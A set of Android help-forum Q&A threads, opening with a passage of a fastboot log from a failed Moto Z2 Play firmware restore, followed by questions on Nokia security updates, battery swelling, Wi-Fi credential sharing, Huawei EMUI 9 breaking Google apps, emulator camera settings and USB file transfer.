Finished. Total time: 0.259s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash bootloader bootloader.img
(bootloader) has-slot:bootloader: not found
Sending 'bootloader' (5115 KB)                     OKAY [  0.209s]
Writing 'bootloader'                               (bootloader) Validating 'bootloader.default.xml'
(bootloader) Committing 'bootloader.default.xml'
(bootloader) - flashing 'emmc_appsboot.mbn' to 'aboot'
(bootloader) - flashing 'rpm.mbn' to 'rpm'
(bootloader) - flashing 'tz.mbn' to 'tz'
(bootloader) - flashing 'devcfg.mbn' to 'devcfg'
(bootloader) - flashing 'cmnlib.mbn' to 'cmnlib'
(bootloader) - flashing 'cmnlib64.mbn' to 'cmnlib64'
(bootloader) - flashing 'keymaster.mbn' to 'keymaster'
(bootloader) - flashing 'prov.mbn' to 'prov'
(bootloader) - flashing 'sbl1.mbn' to 'sbl1'
OKAY [  0.548s]
Finished. Total time: 0.943s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash logo logo.bin
(bootloader) has-slot:logo: not found
Sending 'logo' (2192 KB)                           OKAY [  0.093s]
Writing 'logo'                                     OKAY [  0.066s]
Finished. Total time: 0.344s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash recovery recovery.img
(bootloader) has-slot:recovery: not found
Sending 'recovery' (20580 KB)                      OKAY [  0.838s]
Writing 'recovery'                                 (bootloader) Security version downgrade
(bootloader) Image recovery failed validation
(bootloader) Preflash validation failed
FAILED (remote failure)
Finished. Total time: 1.234s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash recovery recovery.img
(bootloader) has-slot:recovery: not found
Sending 'recovery' (20580 KB)                      OKAY [  0.729s]
Writing 'recovery'                                 (bootloader) Security version downgrade
(bootloader) Image recovery failed validation
(bootloader) Preflash validation failed
FAILED (remote failure)
Finished. Total time: 1.125s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash dsp adspso.bin
(bootloader) has-slot:dsp: not found
Sending 'dsp' (16384 KB)                           OKAY [  0.667s]
Writing 'dsp'                                      OKAY [  0.132s]
Finished. Total time: 0.984s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash oem oem.img
(bootloader) has-slot:oem: not found
Sending 'oem' (232923 KB)                          OKAY [ 10.302s]
Writing 'oem'                                      (bootloader) Security version downgrade
(bootloader) Image o failed validation
(bootloader) Invalid signed image
(bootloader) Preflash validation failed
FAILED (remote failure)
Finished. Total time: 10.554s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash system system.img_sparsechunk.0
(bootloader) has-slot:system: not found
Sending 'system' (517135 KB)                       OKAY [ 20.549s]
Writing 'system'                                   (bootloader) Security version downgrade
(bootloader) Image s failed validation
(bootloader) Invalid signed image
(bootloader) Preflash validation failed
FAILED (remote failure)
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash system system.img_sparsechunk.1
(bootloader) has-slot:system: not found
Sending 'system' (522979 KB)                       OKAY [ 20.458s]
Writing 'system'                                   (bootloader) Invalid signed image
(bootloader) Preflash validation failed
FAILED (remote failure)
Finished. Total time: 20.674s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash system system.img_sparsechunk.2
(bootloader) has-slot:system: not found
Sending 'system' (524215 KB)                       OKAY [ 20.487s]
Writing 'system'                                   (bootloader) Invalid signed image
(bootloader) Preflash validation failed
FAILED (remote failure)
Finished. Total time: 20.704s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash system system.img_sparsechunk.3
(bootloader) has-slot:system: not found
Sending 'system' (521087 KB)                       OKAY [ 19.126s]
Writing 'system'                                   (bootloader) Invalid signed image
(bootloader) Preflash validation failed
FAILED (remote failure)
Finished. Total time: 19.330s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash system system.img_sparsechunk.4
(bootloader) has-slot:system: not found
Sending 'system' (518083 KB)                       OKAY [ 19.082s]
Writing 'system'                                   (bootloader) Invalid signed image
(bootloader) Preflash validation failed
FAILED (remote failure)
Finished. Total time: 19.295s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash system system.img_sparsechunk.5
(bootloader) has-slot:system: not found
Sending 'system' (515569 KB)                       OKAY [ 18.974s]
Writing 'system'                                   (bootloader) Invalid signed image
(bootloader) Preflash validation failed
FAILED (remote failure)
Finished. Total time: 19.192s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash system system.img_sparsechunk.6
(bootloader) has-slot:system: not found
Sending 'system' (250209 KB)                       OKAY [  9.380s]
Writing 'system'                                   (bootloader) Invalid signed image
(bootloader) Preflash validation failed
FAILED (remote failure)
Finished. Total time: 9.579s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash system system.img_sparsechunk.7
(bootloader) has-slot:system: not found
fastboot: error: cannot load 'system.img_sparsechunk.7': No such file or directory
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash modem NON-HLOS.bin
(bootloader) has-slot:modem: not found
Sending 'modem' (75092 KB)                         OKAY [  2.888s]
Writing 'modem'                                    OKAY [  1.878s]
Finished. Total time: 4.954s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot erase modemst1
(bootloader) has-slot:modemst1: not found
Erasing 'modemst1'                                 OKAY [  0.020s]
Finished. Total time: 0.210s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot erase modemst2
(bootloader) has-slot:modemst2: not found
Erasing 'modemst2'                                 OKAY [  0.020s]
Finished. Total time: 0.210s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash fsg fsg.mbn
(bootloader) has-slot:fsg: not found
Sending 'fsg' (2932 KB)                            OKAY [  0.114s]
Writing 'fsg'                                      OKAY [  0.065s]
Finished. Total time: 0.364s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot erase cache
(bootloader) has-slot:cache: not found
Erasing 'cache'                                    OKAY [  0.016s]
Finished. Total time: 0.206s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot erase userdata
(bootloader) has-slot:userdata: not found
Erasing 'userdata'                                 OKAY [  2.252s]
Finished. Total time: 2.442s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot erase customize
(bootloader) has-slot:customize: not found
Erasing 'customize'                                (bootloader) Permission denied
FAILED (remote failure)
Finished. Total time: 0.194s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot erase customize
(bootloader) has-slot:customize: not found
Erasing 'customize'                                (bootloader) Permission denied
FAILED (remote failure)
Finished. Total time: 0.194s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot erase clogo
(bootloader) has-slot:clogo: not found
Erasing 'clogo'                                    (bootloader) Permission denied
FAILED (remote failure)
Finished. Total time: 0.192s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot oem lock
(bootloader) Still require signed boot.img
OKAY [  0.003s]
Finished. Total time: 0.003s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot reboot
Rebooting
Finished. Total time: 0.005s

```

This seemed to do nothing to my device. I wondered if maybe the bootloader was in some sort of locked/unlocked limbo, so I tried to unlock the bootloader again using the key I got from Moto by email. That did not work either.

```
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot oem unlock THECODEFORMYDEVICE
(bootloader) invalid boot state
OKAY [  0.005s]
Finished. Total time: 0.008s

```

So I seem to be getting nowhere. There has to be some way to totally wipe everything, to get a fresh start? I do not care if I have to restore stock firmware, stock bootloader, whatever. I just want to be able to at least use my phone somehow. Is my device totally bricked? Is there nothing I can do?

I used adb and fastboot on macOS High Sierra.

At the request of @acejavelin, I am posting some more information:

```
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot getvar all
(bootloader) version: 0.5
(bootloader) version-bootloader: moto-msm8953-C0.C7
(bootloader) product: albus
(bootloader) board: albus
(bootloader) secure: yes
(bootloader) hwrev: P4
(bootloader) radio: 3
(bootloader) storage-type: emmc
(bootloader) emmc: 64GB SKHYNIX HCG8a4 RV=08 PV=A2 FV=00000000000000A2
(bootloader) ram: 4GB SKHYNIX LP3 DIE=8Gb M5=06 M6=03 M7=00 M8=5F
(bootloader) cpu: MSM8953
(bootloader) serialno: ZY224BLVMC
(bootloader) cid: 0x0032
(bootloader) channelid: 0x40
(bootloader) uid: B5E66CBA00000000000000000000
(bootloader) securestate: flashing_unlocked
(bootloader) verity-state: enforcing
(bootloader) iswarrantyvoid: yes
(bootloader) max-download-size: 536870912
(bootloader) reason: Last time flashing failed
(bootloader) imei: *****************
(bootloader) meid:
(bootloader) date: 07-29-2017
(bootloader) sku: XT1710-09
(bootloader) battid: SNN5983B
(bootloader) iccid:
(bootloader) cust_md5:
(bootloader) max-sparse-size: 268435456
(bootloader) current-time: "Sat Jan  3 17:37:25 UTC 1970"
(bootloader) ro.build.fingerprint[0]: motorola/albus/albus:7.1.1/NPSS26.
(bootloader) ro.build.fingerprint[1]: 118-19-18/24:user/release-keys
(bootloader) poweroffalarm: 1
(bootloader) ro.build.version.full[0]: Blur_Version.26.261.24.albus.reta
(bootloader) ro.build.version.full[1]: il.en.US
(bootloader) ro.build.version.qcom: LA.UM.5.6.r1-03800-89xx.0
(bootloader) version-baseband: M8953P_23.33.07.34R ALBUS_EMEADSDS_CUST
(bootloader) kernel.version[0]: Linux version 3.18.31-perf-gf3fa6ef (hud
(bootloader) kernel.version[1]: soncm@ilclbld83) (gcc version 4.9 201501
(bootloader) kernel.version[2]: 23 (prerelease) (GCC) ) #1 SMP PREEMPT T
(bootloader) kernel.version[3]: ue Dec 5 00:03:05 CST 2017
(bootloader) sbl1.git: git=MBM-NG-VC0.C7-0-ge9cd975
(bootloader) rpm.git: git=5578f74
(bootloader) tz.git: git=MBM-NG-VC2.06-0-g82f94af-dirty
(bootloader) devcfg.git: git=MBM-NG-VC2.06-0-g82f94af-dirty
(bootloader) keymaster.git: git=MBM-NG-VC2.06-0-g82f94af-dirty
(bootloader) cmnlib.git: git=MBM-NG-VC2.06-0-g82f94af-dirty
(bootloader) cmnlib64.git: git=MBM-NG-VC2.06-0-g82f94af-dirty
(bootloader) prov.git: git=MBM-NG-VC2.06-0-g82f94af-dirty
(bootloader) aboot.git: git=MBM-NG-VC0.C7-0-gb6d4956
(bootloader) qe: qe 1/1
(bootloader) frp-state: no protection (77)
(bootloader) ro.carrier: reteu
all: listed above
Finished. Total time: 0.034s

```

# Answer
It seems like your device has upgraded his android version and doesn't let you downgrade. So, the TWRP error 255 it seems like you wanted to flash a 64bit rom on an 32bit recovery. Try to find a stock Oreo image or flash the 64bit twrp. If I find something I will edit this message. P.S. No, your device isn't bricked, there is no OS installed :)
> 1 votes

# Answer
Use this https://androidfilehost.com/?fid=1322778262904007189 It really helped me with the problem
> -1 votes

---
Tags: rom-flashing, twrp, fastboot, unbricking, motorola-moto-z2-play
---


# Question
Title: How to apply the latest security patches on Nokia 3.1?
I've a Nokia 3.1 with build number 00WW\_2\_680\_SP02. When I run Check for updates, I have the message:

> Your system is up to date
>
> Android version: 8.1.0
>
> Security patch level 1: 1 February 2019

But when I look at the official page Nokia Smartphone Security Maintenance Release Summary and that I select Nokia 3.1, I can see that there is two security patches (00WW\_2\_760 and 00WW\_3\_180\_SP01) and one maintenance releases (00WW\_3\_180) that have not been applied.

My question is: How can I applied these missing security patches and this maintenance release.

# Answer
> 0 votes
Getting the latest update can be a bit trick on some Android devices. There are devices known where the "Check of updates" does not every time really check for updates, on such devices hammering the "Check of updates" button 10-20 times can help. I don't know if this also applies for Nokia 3.1.

Another "update blocker" is if your device is branded by a Mobile Network Operator (MNO). In such a case the MNO also has to release the update which can take weeks to months. Therefore IMHO buying a MNO branded device is a bad idea.

Third online updates are never rolled out to each and every device at the same time. Consider a new release that requires the download of ~300 MB that is released for 1 million devices. If all devices would start download at the same time or within a short time frame this would cause a denial-of-service attack against the download server. Therefore updates are usually released step-by-step to the devices. If your device belongs to an "early" or a "later" update group is invisible to the user.

If Nokia provides a PC based update software you may be able to update your device using it. Such a PC based update mechanism is usually not restricted to certain devices as it is not widely used.

---
Tags: updates, security
---


title: Leaving phone plugged in all the time?

text:
# Question
Title: Leaving phone plugged in all the time?
I have a spare OnePlus One that I use for home automation stuff (RM Plugin, Tasker, etc.) I leave it plugged in all the time. Sometimes the phone does get quite hot. Just today, wanting to do more Tasker stuff with it, I noticed that the screen popped out a bit, guessing due to battery swelling.

I'm basically confused what causes what between:

* Leaving the phone plugged in all the time
* App power management (like sometimes screen was left on, etc.)
* High temp
* Battery swell

Also, would it be possible to continue using the OnePlus?

Thanks!

# Answer
You can leave the phone plugged in. Modern phones have advanced charging electronics, that should prevent overcharging and similar problems.

But when the battery is swelling, you should *not* continue using the phone. It may start to burn or explode. When you still have seller's warranty, use it. Otherwise I would still buy a new one as soon as possible. Defect batteries can be dangerous.
> 0 votes

---
Tags: battery, charging, hardware
---


# Question
Title: Share known WiFi networks between own devices
It happens every now and then that I connect to a WiFi network for the first time on my phone, but not on my tablet. The second time I visit the place I might not have the WiFi access key at hand. Is there a way to "share" the known network information between own Android devices?

# Answer
If you want to back up and restore though Google (Drive) then perhaps you may need to look at some third-party applications such as
WiFi Password Manager or Wi-Fi password manager (whichever you prefer as there are more or less similar)

Basically the following features are present:

> * Manage your wifi passwords (add, edit, delete)
> * **Backup your passwords to Google Drive or to local storage**
> * Wifi hotspots list sorted by wifi signal strength
> * Recover wi-fi passwords from system settings (ROOT)
> * Connect to WiFi hotspot directly from the appplication
> * Copy password to clipboard
> * Share wi-fi settings

Pretty straight forward to use simply add the target wi-fi network, then back it up on local or google drive, follow the reverse proceedure to restore:
> 0 votes

---
Tags: wi-fi, share-menu
---


# Question
Title: Huawei update to EMUI 9 broke everything
I have a Huawei NOVA 2S which I purchased in China.

I got the EMUI 9 update yesterday and none of my Google Apps were working. Found this: https://itechify.com/2019/04/26/fix-google-apps-on-huawei-after-emui-9-update/, which is exactly the problem I'm having but those steps don't help. I ran the GMS installer 1.2 and it removed all google apps.

I then installed Google play services (17.1.22 version code: 17122012). I keep getting "**Google Play Services won't run unless you update Google Play Services**". This is the most current version!!

**Another Problem:** I downloaded and installed Chrome from the Chinese app store. It opens for a minute then crashes.

I can't even get the Play Store to work at all. I installed the most current version for my architecture from apkmirror.com but it won't work. It just crashes instantly on opening.

Any suggestions other than use as a paperweight?

# Answer
> 2 votes
I had to rollback to EMUI 8.0. This was easier than expected through the HiSuite Huawei app for PC. Click on update/upgrade, then other versions. It should show you the last version and then click restore.

I then ran GMS installer, and Google-installer-v2 and I'm back in business! I am still getting "Google Play Services won't run unless you update Google Play Services" occasionally but everything works.

---
Tags: google-play-store, huawei, google-play-services
---


# Question
Title: Is it possible to change camera settings of an app on android emulator?
I am using Nox Android Emulator and i have a question about if i can change default camera settings of an app, i have uninstalled stock camera app by android terminal but this app still uses to default camera and don't ask for camera preferences.

# Answer
However it depends on the emulator I personally recommend bluestakes4 it also have an option for default apps and supports almost everything
> 0 votes

---
Tags: applications, settings
---


# Question
Title: Unable to get USB file transfer working on Oreo 8.1
My son has an LG Xpression Plus running Oreo 8.1, and he's having trouble enabling USB transfer (MTP) when connecting to a Windows 10 PC. The phone *used* to allow USB transfer, and now it simply charges. We've tried multiple sync-cabaple USB cables, including the one that came with his device, but no luck. These same cables allow USB transfer for all the devices we tried.

Additionally, the phone behaves the same no matter which Windows 10 PC we connect it to, even with PCs his phone hasn't previously connected to.

We've tried all the solutions listed in How to get USB file transfer working on Oreo 8.1?, but nothing has worked.

Has anyone else run into this problem, and managed to fix it?

Thanks in advance, this is driving us nuts!

# Answer
> 1 votes
Based on Izzy's questions, here's what worked for me: With device plugged in, swipe down to open the notification area. Tap on "Charging". Select "File transfer". Choose "Just Once" or "Always" depending on your situation. The PC will ask you what you want to do. I have it open in Windows Explorer and I browse from there. Hope this helps. Thanks Izzy for the pointer.

---
Tags: usb-connection-mode, 8.1-oreo
---